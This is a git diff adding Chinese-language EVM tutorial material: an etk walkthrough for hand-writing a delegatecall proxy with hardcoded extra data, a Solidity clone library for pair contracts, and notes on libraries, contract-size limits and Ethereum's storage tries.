+3. 现在我们需要来分析一下，我们自己应该如何才能实现同样的功能，有哪些值得学习的地方。
+可以看到proxy合约要实现的功能主要有两个：
+第一：通过delegatecall对函数调用进行转发，并将结果返回给我。
+第二：函数调用转发时，带上4个参数。这4个参数需要硬编码到proxy合约里。
+为了完成这个功能，我们需要用到[etk](https://github.com/quilt/etk)这个工具来辅助我们手写opcode。
+首先是op.etk文件：
+```js
+initstart:
+    push1 runtimeEnd-runtimeStart       #runtimesize
+    returndatasize                      #0 runtimesize
+    dup2                                #runtimesize 0 runtimesize
+    push1 runtimeStart-initstart        #runtimeoffset runtimesize 0 runtimesize
+    returndatasize                      #0 runtimeoffset runtimesize 0 runtimesize
+    codecopy                            #0 runtimesize
+    return
+initend:
+runtimeStart:
+    returndatasize                      #0
+    returndatasize                      #0 0
+    returndatasize                      #0 0 0
+    returndatasize                      #0 0 0 0
+    calldatasize                        #calldatasize 0 0 0 0
+    returndatasize                      #0 calldatasize 0 0 0 0
+    returndatasize                      #0 0 calldatasize 0 0 0 0
+    calldatacopy                        #0 0 0 0 
+    push1 extradataEnd-extradataStart   #extradatasize 0 0 0 0
+    push1 extradataStart-runtimeStart   #extradataoffset extradatasize 0 0 0 0
+    calldatasize                        #calldatasize extradataoffset extradatasize 0 0 0 0
+    codecopy                            #0 0 0 0
+    push1 extradataEnd-extradataStart   #extradatasize 0 0 0 0
+    calldatasize                        #calldatasize extradatasize 0 0  0 0
+    add                                 #inputSize 0 0 0 0
+    returndatasize                      #0 inputSize 0 0 0 0
+    push20 0x0000000000000000000000000000000000000000                       #addr 0 inputSize 0 0 0 0
+    gas                                 #gas addr 0 inputSize 0 0 0 0
+    delegatecall                        #success 0 0
+    returndatasize                      #returndatasize success 0 0
+    swap3                               #0 success 0 returndatasize
+    dup4                                #returndatasize 0 success 0 returndatasize
+    swap1                               #0 returndatasize success 0 returndatasize
+    dup1                                #0 0 returndatasize success 0 returndatasize
+    returndatacopy                      #success 0 returndatasize
+    push1 labelreturn-runtimeStart      #labelreturn success 0 returndatasize
+    jumpi                               #0 returndatasize
+    revert                              #
+labelreturn:    
+    jumpdest                            #0 returndatasize
+    return                              #
+
+
+
+extradataStart:
+%include_hex("extra.etk")
+extradataEnd:
+runtimeEnd:
+```
+然后是extra.etk文件，这里面放着的是需要硬编码到proxy合约里的字节码：
+```js
+b16c1342e617a5b6e4b631eb114483fdb289c0a4432f962d8209781da23fb37b6b59ee15de7d984164ad353bc90a04361c4810ae7b3701f3beb48d7e02 
+```
+通过etk工具对op.etk文件进行编码，得到的字节码段为：
+```js
+60733d8160093d39f33d3d3d3d363d3d37603d60363639603d36013d7300000000000000000000000000000000000000005af43d928390803e603d57fd5bf3b16c1342e617a5b6e4b631eb114483fdb289c0a4432f962d8209781da23fb37b6b59ee15de7d984164ad353bc90a04361c4810ae7b3701f3beb48d7e02
+```
+那么我们为什么需要花费这么大的力气来手写这些编码呢？最大的一个好处是可以利用etk工具帮我们计算出对应的offset和length的数据，否则需要自己来手动计算，就很容易出错。并且我们可以在`evm.codes`这个网站上在线调试一下，我们手写的这部分字节码是不是正确的。
+![](2022-09-04-19-00-24.png)
+当我们拿到需要的字节码之后，我们就可以开始编写相对应的assembly部分了。编写assembly的核心是把得到的字节码当成一串字符，然后存储到memory里，最后通过create方法创建出来。
+编写assembly之前，通过字节码，要算出对应的长度：
+```python
+>>> s= "60733d8160093d39f33d3d3d3d363d3d37603d60363639603d36013d7300000000000000000000000000000000000000005af43d928390803e603d57fd5bf3b16c1342e617a5b6e4b631eb114483fdb289c0a4432f962d8209781da23fb37b6b59ee15de7d984164ad353bc90a04361c4810ae7b3701f3beb48d7e02"
+>>> s[:0x1d*2]
+'60733d8160093d39f33d3d3d3d363d3d37603d60363639603d36013d73'
+>>> s[0x1d*2:0x1d*2+40]
+'0000000000000000000000000000000000000000'
+>>> s[0x31*2:0x3f*2]
+'5af43d928390803e603d57fd5bf3'
+>>> s[0x3f*2:0x53*2]
+'b16c1342e617a5b6e4b631eb114483fdb289c0a4'
+>>> s[0x53*2:0x67*2]
+'432f962d8209781da23fb37b6b59ee15de7d9841'
+>>> s[0x67*2:0x7b*2]
+'64ad353bc90a04361c4810ae7b3701f3beb48d7e'
+>>> s[0x7b*2:0x7c*2]
+'02'
+```
+```js
+function cloneETHPair(
+    address implementation,
+    ILSSVMPairFactoryLike factory,
+    ICurve bondingCurve,
+    IERC721 nft,
+    uint8 poolType
+) internal returns (address instance) {
+    assembly {
+        let ptr := mload(0x40)
+        mstore(ptr,           0x60733d8160093d39f33d3d3d3d363d3d37603d60363639603d36013d73000000)
+        mstore(add(ptr,0x1d), shl(0x60,implementation))
+        mstore(add(ptr,0x31), 0x5af43d928390803e603d57fd5bf3000000000000000000000000000000000000)
+        mstore(add(ptr,0x3f), shl(0x60,factory))
+        mstore(add(ptr,0x53), shl(0x60,bondingCurve))
+        mstore(add(ptr,0x67), shl(0x60, nft))
+        mstore8(add(ptr,0x7b), poolType)
+        instance := create(0, ptr, 0x7c)
+    }
+}
+```
diff --git a/basic/43-EVM/etk/PairCloner.sol b/basic/43-EVM/etk/PairCloner.sol
new file mode 100644
index 000000000..ad14b5bf6
--- /dev/null
+++ b/basic/43-EVM/etk/PairCloner.sol
@@ -0,0 +1,273 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+
+import {ERC20} from "solmate/tokens/ERC20.sol";
+
+import {ICurve} from "../bonding-curves/ICurve.sol";
+import {ILSSVMPairFactoryLike} from "../ILSSVMPairFactoryLike.sol";
+
+library LSSVMPairCloner {
+    /**
+     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
+     *
+     * This function uses the create opcode, which should never revert.
+     *
+     * During the delegate call, extra data is copied into the calldata which can then be
+     * accessed by the implementation contract.
+     */
+    function cloneETHPair(
+        address implementation,
+        ILSSVMPairFactoryLike factory,
+        ICurve bondingCurve,
+        IERC721 nft,
+        uint8 poolType
+    ) internal returns (address instance) {
+        assembly {
+            let ptr := mload(0x40)
+
+            // -------------------------------------------------------------------------------------------------------------
+            // CREATION (9 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // creation size = 09
+            // runtime size = 72
+            // 60 runtime  | PUSH1 runtime (r)     | r                       | –
+            // 3d          | RETURNDATASIZE        | 0 r                     | –
+            // 81          | DUP2                  | r 0 r                   | –
+            // 60 creation | PUSH1 creation (c)    | c r 0 r                 | –
+            // 3d          | RETURNDATASIZE        | 0 c r 0 r               | –
+            // 39          | CODECOPY              | 0 r                     | [0-runSize): runtime code
+            // f3          | RETURN                |                         | [0-runSize): runtime code
+
+            // -------------------------------------------------------------------------------------------------------------
+            // RUNTIME (53 bytes of code + 61 bytes of extra data = 114 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // extra data size = 3d
+            // 3d          | RETURNDATASIZE        | 0                       | –
+            // 3d          | RETURNDATASIZE        | 0 0                     | –
+            // 3d          | RETURNDATASIZE        | 0 0 0                   | –
+            // 3d          | RETURNDATASIZE        | 0 0 0 0                 | –
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | –
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | –
+            // 3d          | RETURNDATASIZE        | 0 0 cds 0 0 0 0         | –
+            // 37          | CALLDATACOPY          | 0 0 0 0                 | [0, cds) = calldata
+            // 60 extra    | PUSH1 extra           | extra 0 0 0 0           | [0, cds) = calldata
+            // 60 0x35     | PUSH1 0x35            | 0x35 extra 0 0 0 0      | [0, cds) = calldata // 0x35 (53) is runtime size - data
+            // 36          | CALLDATASIZE          | cds 0x35 extra 0 0 0 0  | [0, cds) = calldata
+            // 39          | CODECOPY              | 0 0 0 0                 | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 60 extra    | PUSH1 extra           | extra cds 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 01          | ADD                   | cds+extra 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 73 addr     | PUSH20 0x123…         | addr 0 cds 0 0 0 0      | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            mstore(
+                ptr,
+                hex"60_72_3d_81_60_09_3d_39_f3_3d_3d_3d_3d_36_3d_3d_37_60_3d_60_35_36_39_36_60_3d_01_3d_73_00_00_00"
+            )
+            mstore(add(ptr, 0x1d), shl(0x60, implementation))
+
+            // 5a          | GAS                   | gas addr 0 cds 0 0 0 0  | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // f4          | DELEGATECALL          | success 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds success 0 0         | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds rds success 0 0     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 93          | SWAP4                 | 0 rds success 0 rds     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 80          | DUP1                  | 0 0 rds success 0 rds   | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3e          | RETURNDATACOPY        | success 0 rds           | [0, rds) = return data (there might be some irrelevant leftovers in memory [rds, cds+0x37) when rds < cds+0x37)
+            // 60 0x33     | PUSH1 0x33            | 0x33 sucess 0 rds       | [0, rds) = return data
+            // 57          | JUMPI                 | 0 rds                   | [0, rds) = return data
+            // fd          | REVERT                | –                       | [0, rds) = return data
+            // 5b          | JUMPDEST              | 0 rds                   | [0, rds) = return data
+            // f3          | RETURN                | –                       | [0, rds) = return data
+            mstore(
+                add(ptr, 0x31),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+
+            // -------------------------------------------------------------------------------------------------------------
+            // EXTRA DATA (61 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            mstore(add(ptr, 0x3e), shl(0x60, factory))
+            mstore(add(ptr, 0x52), shl(0x60, bondingCurve))
+            mstore(add(ptr, 0x66), shl(0x60, nft))
+            mstore8(add(ptr, 0x7a), poolType)
+
+            instance := create(0, ptr, 0x7b)
+        }
+    }
+
+    /**
+     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
+     *
+     * This function uses the create opcode, which should never revert.
+     *
+     * During the delegate call, extra data is copied into the calldata which can then be
+     * accessed by the implementation contract.
+     */
+    function cloneERC20Pair(
+        address implementation,
+        ILSSVMPairFactoryLike factory,
+        ICurve bondingCurve,
+        IERC721 nft,
+        uint8 poolType,
+        ERC20 token
+    ) internal returns (address instance) {
+        assembly {
+            let ptr := mload(0x40)
+
+            // -------------------------------------------------------------------------------------------------------------
+            // CREATION (9 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // creation size = 09
+            // runtime size = 86
+            // 60 runtime  | PUSH1 runtime (r)     | r                       | –
+            // 3d          | RETURNDATASIZE        | 0 r                     | –
+            // 81          | DUP2                  | r 0 r                   | –
+            // 60 creation | PUSH1 creation (c)    | c r 0 r                 | –
+            // 3d          | RETURNDATASIZE        | 0 c r 0 r               | –
+            // 39          | CODECOPY              | 0 r                     | [0-runSize): runtime code
+            // f3          | RETURN                |                         | [0-runSize): runtime code
+
+            // -------------------------------------------------------------------------------------------------------------
+            // RUNTIME (53 bytes of code + 81 bytes of extra data = 134 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // extra data size = 51
+            // 3d          | RETURNDATASIZE        | 0                       | –
+            // 3d          | RETURNDATASIZE        | 0 0                     | –
+            // 3d          | RETURNDATASIZE        | 0 0 0                   | –
+            // 3d          | RETURNDATASIZE        | 0 0 0 0                 | –
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | –
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | –
+            // 3d          | RETURNDATASIZE        | 0 0 cds 0 0 0 0         | –
+            // 37          | CALLDATACOPY          | 0 0 0 0                 | [0, cds) = calldata
+            // 60 extra    | PUSH1 extra           | extra 0 0 0 0           | [0, cds) = calldata
+            // 60 0x35     | PUSH1 0x35            | 0x35 extra 0 0 0 0      | [0, cds) = calldata // 0x35 (53) is runtime size - data
+            // 36          | CALLDATASIZE          | cds 0x35 extra 0 0 0 0  | [0, cds) = calldata
+            // 39          | CODECOPY              | 0 0 0 0                 | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 60 extra    | PUSH1 extra           | extra cds 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 01          | ADD                   | cds+extra 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 73 addr     | PUSH20 0x123…         | addr 0 cds 0 0 0 0      | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            mstore(
+                ptr,
+                hex"60_86_3d_81_60_09_3d_39_f3_3d_3d_3d_3d_36_3d_3d_37_60_51_60_35_36_39_36_60_51_01_3d_73_00_00_00"
+            )
+            mstore(add(ptr, 0x1d), shl(0x60, implementation))
+
+            // 5a          | GAS                   | gas addr 0 cds 0 0 0 0  | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // f4          | DELEGATECALL          | success 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds success 0 0         | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds rds success 0 0     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 93          | SWAP4                 | 0 rds success 0 rds     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 80          | DUP1                  | 0 0 rds success 0 rds   | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3e          | RETURNDATACOPY        | success 0 rds           | [0, rds) = return data (there might be some irrelevant leftovers in memory [rds, cds+0x37) when rds < cds+0x37)
+            // 60 0x33     | PUSH1 0x33            | 0x33 sucess 0 rds       | [0, rds) = return data
+            // 57          | JUMPI                 | 0 rds                   | [0, rds) = return data
+            // fd          | REVERT                | –                       | [0, rds) = return data
+            // 5b          | JUMPDEST              | 0 rds                   | [0, rds) = return data
+            // f3          | RETURN                | –                       | [0, rds) = return data
+            mstore(
+                add(ptr, 0x31),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+
+            // -------------------------------------------------------------------------------------------------------------
+            // EXTRA DATA (81 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            mstore(add(ptr, 0x3e), shl(0x60, factory))
+            mstore(add(ptr, 0x52), shl(0x60, bondingCurve))
+            mstore(add(ptr, 0x66), shl(0x60, nft))
+            mstore8(add(ptr, 0x7a), poolType)
+            mstore(add(ptr, 0x7b), shl(0x60, token))
+
+            instance := create(0, ptr, 0x8f)
+        }
+    }
+
+    /**
+     * @notice Checks if a contract is a clone of a LSSVMPairETH.
+     * @dev Only checks the runtime bytecode, does not check the extra data.
+     * @param factory the factory that deployed the clone
+     * @param implementation the LSSVMPairETH implementation contract
+     * @param query the contract to check
+     * @return result True if the contract is a clone, false otherwise
+     */
+    function isETHPairClone(
+        address factory,
+        address implementation,
+        address query
+    ) internal view returns (bool result) {
+        // solhint-disable-next-line no-inline-assembly
+        assembly {
+            let ptr := mload(0x40)
+            mstore(
+                ptr,
+                hex"3d_3d_3d_3d_36_3d_3d_37_60_3d_60_35_36_39_36_60_3d_01_3d_73_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x14), shl(0x60, implementation))
+            mstore(
+                add(ptr, 0x28),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x35), shl(0x60, factory))
+
+            // compare expected bytecode with that of the queried contract
+            let other := add(ptr, 0x49)
+            extcodecopy(query, other, 0, 0x49)
+            result := and(
+                eq(mload(ptr), mload(other)),
+                and(
+                    eq(mload(add(ptr, 0x20)), mload(add(other, 0x20))),
+                    eq(mload(add(ptr, 0x29)), mload(add(other, 0x29)))
+                )
+            )
+        }
+    }
+
+    /**
+     * @notice Checks if a contract is a clone of a LSSVMPairERC20.
+     * @dev Only checks the runtime bytecode, does not check the extra data.
+     * @param implementation the LSSVMPairERC20 implementation contract
+     * @param query the contract to check
+     * @return result True if the contract is a clone, false otherwise
+     */
+    function isERC20PairClone(
+        address factory,
+        address implementation,
+        address query
+    ) internal view returns (bool result) {
+        // solhint-disable-next-line no-inline-assembly
+        assembly {
+            let ptr := mload(0x40)
+            mstore(
+                ptr,
+                hex"3d_3d_3d_3d_36_3d_3d_37_60_51_60_35_36_39_36_60_51_01_3d_73_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x14), shl(0x60, implementation))
+            mstore(
+                add(ptr, 0x28),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x35), shl(0x60, factory))
+
+            // compare expected bytecode with that of the queried contract
+            let other := add(ptr, 0x49)
+            extcodecopy(query, other, 0, 0x49)
+            result := and(
+                eq(mload(ptr), mload(other)),
+                and(
+                    eq(mload(add(ptr, 0x20)), mload(add(other, 0x20))),
+                    eq(mload(add(ptr, 0x29)), mload(add(other, 0x29)))
+                )
+            )
+        }
+    }
+}
diff --git a/basic/43-EVM/etk/Readmd.md b/basic/43-EVM/etk/Readmd.md
new file mode 100644
index 000000000..245a356c6
--- /dev/null
+++ b/basic/43-EVM/etk/Readmd.md
@@ -0,0 +1,100 @@
+1. base token的字节码分析
+https://gists.rawgit.com/ajsantander/23c032ec7a722890feed94d93dff574a/raw/a453b28077e9669d5b51f2dc6d93b539a76834b8/BasicToken.svg
+https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/
+
+2. etk工具使用
+https://github.com/quilt/etk
+
+3. 常见的assembly代码片段：
+
+https://etherscan.io/address/0x99c9fc46f92e8a1c0dec1b1747d010903e884be1#code
+3.1. proxy delegatecall
+```js
+function _doProxyCall()
+        onlyWhenNotPaused
+        internal
+    {
+        address implementation = _getImplementation();
+
+        require(
+            implementation != address(0),
+            "L1ChugSplashProxy: implementation is not set yet"
+        );
+
+        assembly {
+            // Copy calldata into memory at 0x0....calldatasize.
+            calldatacopy(0x0, 0x0, calldatasize())
+
+            // Perform the delegatecall, make sure to pass all available gas.
+            let success := delegatecall(gas(), implementation, 0x0, calldatasize(), 0x0, 0x0)
+
+            // Copy returndata into memory at 0x0....returndatasize. Note that this *will*
+            // overwrite the calldata that we just copied into memory but that doesn't really
+            // matter because we'll be returning in a second anyway.
+            returndatacopy(0x0, 0x0, returndatasize())
+            
+            // Success == 0 means a revert. We'll revert too and pass the data up.
+            if iszero(success) {
+                revert(0x0, returndatasize())
+            }
+
+            // Otherwise we'll just return and pass the data up.
+            return(0x0, returndatasize())
+        }
+    }
+```
+3.2. OP magic prefix
+```js
+bytes13 constant internal DEPLOY_CODE_PREFIX = 0x600D380380600D6000396000f3;
+function setCode(
+        bytes memory _code
+    )
+        proxyCallIfNotOwner
+        public
+    {
+        // Get the code hash of the current implementation.
+        address implementation = _getImplementation();
+
+        // If the code hash matches the new implementation then we return early.
+        if (keccak256(_code) == _getAccountCodeHash(implementation)) {
+            return;
+        }
+
+        // Create the deploycode by appending the magic prefix.
+        bytes memory deploycode = abi.encodePacked(
+            DEPLOY_CODE_PREFIX,
+            _code
+        );
+
+        // Deploy the code and set the new implementation address.
+        address newImplementation;
+        assembly {
+            newImplementation := create(0x0, add(deploycode, 0x20), mload(deploycode))
+        }
+
+        // Check that the code was actually deployed correctly. I'm not sure if you can ever
+        // actually fail this check. Should only happen if the contract creation from above runs
+        // out of gas but this parent execution thread does NOT run out of gas. Seems like we
+        // should be doing this check anyway though.
+        require(
+            _getAccountCodeHash(newImplementation) == keccak256(_code),
+            "L1ChugSplashProxy: code was not correctly deployed."
+        );
+
+        _setImplementation(newImplementation);
+    }
+```
+```js
+push1 0x0d      0x0d
+codesize        codesize 0x0d
+sub             runtimesize
+dup1            runtimesize runtimesize
+push1 0x0d      0x0d runtimesize runtimesize
+push1 0x00      0x00 0x0d runtimesize runtimesize
+codecopy        runtimesize
+push1 0x00      0x00 runtimesize
+return
+```
+
+4. evm.codes
+https://evm.codes/
\ No newline at end of file
diff --git a/basic/43-EVM/etk/extra.etk b/basic/43-EVM/etk/extra.etk
new file mode 100644
index 000000000..63aa92835
--- /dev/null
+++ b/basic/43-EVM/etk/extra.etk
@@ -0,0 +1 @@
+b16c1342e617a5b6e4b631eb114483fdb289c0a4432f962d8209781da23fb37b6b59ee15de7d984164ad353bc90a04361c4810ae7b3701f3beb48d7e02 
\ No newline at end of file
diff --git a/basic/43-EVM/etk/op.etk b/basic/43-EVM/etk/op.etk
new file mode 100644
index 000000000..891a9d75e
--- /dev/null
+++ b/basic/43-EVM/etk/op.etk
@@ -0,0 +1,50 @@
+initstart:
+    push1 runtimeEnd-runtimeStart       #runtimesize                                # 60 29
+    returndatasize                      #0 runtimesize                              # 3d
+    dup2                                #runtimesize 0 runtimesize                  # 81
+    push1 runtimeStart-initstart        #runtimeoffset runtimesize 0 runtimesize    # 60 0a
+    returndatasize                      #0 runtimeoffset runtimesize 0 runtimesize  # 3d
+    codecopy                            #0 runtimesize                              # 39
+    return                                                                          # f3
+                                                                                    # 60293d81600d3d39f3
+initend:
+runtimeStart:
+    returndatasize                      #0 
+    returndatasize                      #0 0
+    returndatasize                      #0 0 0
+    returndatasize                      #0 0 0 0
+    calldatasize                        #calldatasize 0 0 0 0
+    returndatasize                      #0 calldatasize 0 0 0 0
+    returndatasize                      #0 0 calldatasize 0 0 0 0
+    calldatacopy                        #0 0 0 0                    [MEM] 0-calldatasize => calldata
+    push1 extradataEnd-extradataStart   #extradatasize 0 0 0 0
+    push1 extradataStart-runtimeStart   #extradataoffset extradatasize 0 0 0 0
+    calldatasize                        #calldatasize extradataoffset extradatasize 0 0 0 0
+    codecopy                            #0 0 0 0                    [MEM] calldatasize-end => extradata
+    push1 extradataEnd-extradataStart   #extradatasize 0 0 0 0
+    calldatasize                        #calldatasize extradatasize 0 0  0 0
+    add                                 #inputSize 0 0 0 0          inputsize = calldatasize+extradatasize
+    returndatasize                      #0 inputSize 0 0 0 0
+    push20 0x0000000000000000000000000000000000000000                       #addr 0 inputSize 0 0 0 0
+    gas                                 #gas addr 0 inputSize 0 0 0 0
+    delegatecall                        #success 0 0
+    returndatasize                      #returndatasize success 0 0
+    swap3                               #0 success 0 returndatasize
+    dup4                                #returndatasize 0 success 0 returndatasize
+    swap1                               #0 returndatasize success 0 returndatasize
+    dup1                                #0 0 returndatasize success 0 returndatasize
+    returndatacopy                      #success 0 returndatasize          [MEM] 0-returndatasize => returndata
+    push1 labelreturn-runtimeStart      #labelreturn success 0 returndatasize
+    jumpi                               #0 returndatasize
+    revert                              #
+labelreturn:    
+    jumpdest                            #0 returndatasize
+    return                              #
+
+
+
+extradataStart:
+%include_hex("extra.etk")
+extradataEnd:
+runtimeEnd:
+
diff --git a/basic/43-EVM/image.png b/basic/43-EVM/image.png
new file mode 100644
index 000000000..5343d16bd
Binary files /dev/null and b/basic/43-EVM/image.png differ
diff --git a/basic/43-EVM/img/eth.jpeg b/basic/43-EVM/img/eth.jpeg
new file mode 100644
index 000000000..6e88c2c66
Binary files /dev/null and b/basic/43-EVM/img/eth.jpeg differ
diff --git a/basic/43-EVM/img/evm.jpg b/basic/43-EVM/img/evm.jpg
new file mode 100644
index 000000000..631d13306
Binary files /dev/null and b/basic/43-EVM/img/evm.jpg differ
diff --git a/basic/43-EVM/libary.md b/basic/43-EVM/libary.md
new file mode 100644
index 000000000..5e13f2289
--- /dev/null
+++ b/basic/43-EVM/libary.md
@@ -0,0 +1,42 @@
+## Library
+库跟合约类似。且仅部署一次，然后通过EVM的delegatecall来复用代码。 所以代码执行的上下文是在调用合约里的，可以访问调用合约的storage。
+使用libary， 可以把库合约看成父合约(base contracts),只不过不会显示的出现在继承关系中。
+libary的internal函数对所有合约可见。
+调用库合约internal函数，memory类型则通过引用传递，而不是拷贝的方式。
+总而言之：
+如果是internal的话，就是直接内联函数。如果是public/external，就需要部署library，然后合约通过delegatecall调用库合约（每次调用的成本就高很多）。
+
+对于interal函数，
+
+## 缩减合约大小技巧
+**EIP170: 24.576 kb 的智能合约大小限制**
+当您向合约中添加越来越多的功能时，在某个时候您会达到极限，并且在部署时会看到错误：
+
+警告：合约代码大小超过 24576 字节（Spurious Dragon 分叉中引入的限制）。 这个合约可能无法在主网上部署。 请考虑启用优化器（其“运行”值较低！），关闭 revert 字符串，或使用库。
+
+增加的原因： 防止DOS攻击
+引入这一限制是为了防止拒绝服务 (DOS) 攻击。 任何对合约的调用从矿工费上来说都是相对便宜的。 然而，根据被调用合约代码的大小（从磁盘读取代码、预处理代码、将数据添加到 Merkle 证明），合约调用对以太坊节点的影响会不成比例地增加。 每当您出现这样的情况，攻击者只需要很少的资源就能给别人造成大量的工作，您就有可能遭受 DOS 攻击。
+
+**优化办法**
+较大影响：
+1. 把合约分开；        
+2. 使用库；
+不要将库函数声明为内部函数，因为这些函数将在编译过程中直接被添加到合约中。 但是，如果您使用公共函数，那么这些函数事实上将在一个单独的库合约中。 可以考虑使用命令 using for，使库的使用更加方便；
+3. 使用代理；
+一个更先进的策略是代理系统。 库在后台使用 DELEGATECALL，它只是用调用合约的状态执行另一个合约的函数；
+
+中等影响：
+1. 在优化器中考虑一个低运行值：
+您也可以更改优化器设置。 默认值为 200，表示它试图在一个函数被调用 200 次的情况下优化字节码。 如果您将其改为 1，相当于告诉优化器针对每个函数只运行一次的情况进行优化。 一个仅运行一次的优化函数意味着它对部署本身进行了优化。 请注意，这将会增加运行函数的 gas 成本，所以，您可能不想这样做。
+
+
+##  Diamond Standard（EIP-2535）
+https://dev.to/mudgen/ethereum-s-maximum-contract-size-limit-is-solved-with-the-diamond-standard-2189
+todo
+
+
+
+## 参考链接
+- solidity教程： https://www.tryblockchain.org/solidity-libraries-%E5%BA%93.html
+- 如何缩减合约以规避合约大小限制: https://ethereum.org/zh/developers/tutorials/downsizing-contracts-to-fight-the-contract-size-limit/
+-  Diamond Standard： https://dev.to/mudgen/ethereum-s-maximum-contract-size-limit-is-solved-with-the-diamond-standard-2189
diff --git a/basic/43-EVM/readme.md b/basic/43-EVM/readme.md
new file mode 100644
index 000000000..4a290fcdd
--- /dev/null
+++ b/basic/43-EVM/readme.md
@@ -0,0 +1,60 @@
+# Ethereum Virtual Machine Opcodes
+
+## 以太坊存储模型
+以太坊是一个基于交易的“状态”机器.
+三棵树： 交易树，状态树和收据树。
+![ETH](./img/eth.jpeg)
+账户余额等数据并不直接存储在以太坊区块链的区块中。只有交易树、状态树和收据树的根节点哈希直接存储在区块链中。
+存储树（保存所有智能合约数据）的根节点哈希实际上指向状态树，而状态树又指向区块链。
+
+**永久存储和临时存储**
+永久数据和临时数据。永久数据的一个例子是交易。一旦交易被完全确认，它就会被记录在交易树中；它永远不会改变。临时数据的一个例子是特定以太坊账户地址的余额。帐户地址的余额存储在状态树中，并在针对该特定帐户的交易发生时更改。永久数据（如已确认交易）和临时数据（如账户余额）应该分开存储是有道理的。以太坊使用 trie 数据结构来管理数据。
+
+### 状态树
+
+1. 在以太坊中只有一个全局状态树。这个全局状态树会不断更新。
+   状态树包含存在于以太坊网络上的每个帐户的键值对。key 是 160 位地址。
+   value 是账户信息（使用递归 RLP 编码）
+
+- nonce
+- balance
+- storageRoot
+- codeHash
+
+2. 状态树的根节点（给定时间点整个状态树的散列）用作状态树的安全唯一标识符；状态树的根节点在密码学上依赖于所有内部状态树数据。
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/58-EVM/stateTree.jpg?raw=true" /></center>
+
+### 存储树 -- 合约数据所在位置
+每个以太坊账户都有自己的存储树。存储树根节点的 256 位散列作为 storageRoot 值存储在全局状态树中.
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/58-EVM/storeTree.png?raw=true" /></center>
+
+#### 数据库选型
+以太坊的 Rust 客户端 Parity 使用 Rocksdb。而以太坊的 Go、C++ 和 Python 客户端都使用 leveldb。
+
+### 交易树 -- 每个区块一个
+每个以太坊区块都有自己独立的交易树。一个区块包含许多交易。开采的区块永远不会更新；交易在区块中的位置永远不会改变。
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/58-EVM/transactionTree.png?raw=true" /></center>
+
+### SPV
+
+### EVM 
+[EVM](./EVM.md)
+https://github.com/Quillhash/EVM-Mastery#puzzles
+
+## 参考链接
+- ethervm.io <https://ethervm.io/>
+- Opcode playground <https://www.evm.codes/playground>
+- Solidity Bytecode and Opcode Basics <https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2>
+- Deconstructing a Solidity Contract (by Openzeppelin)
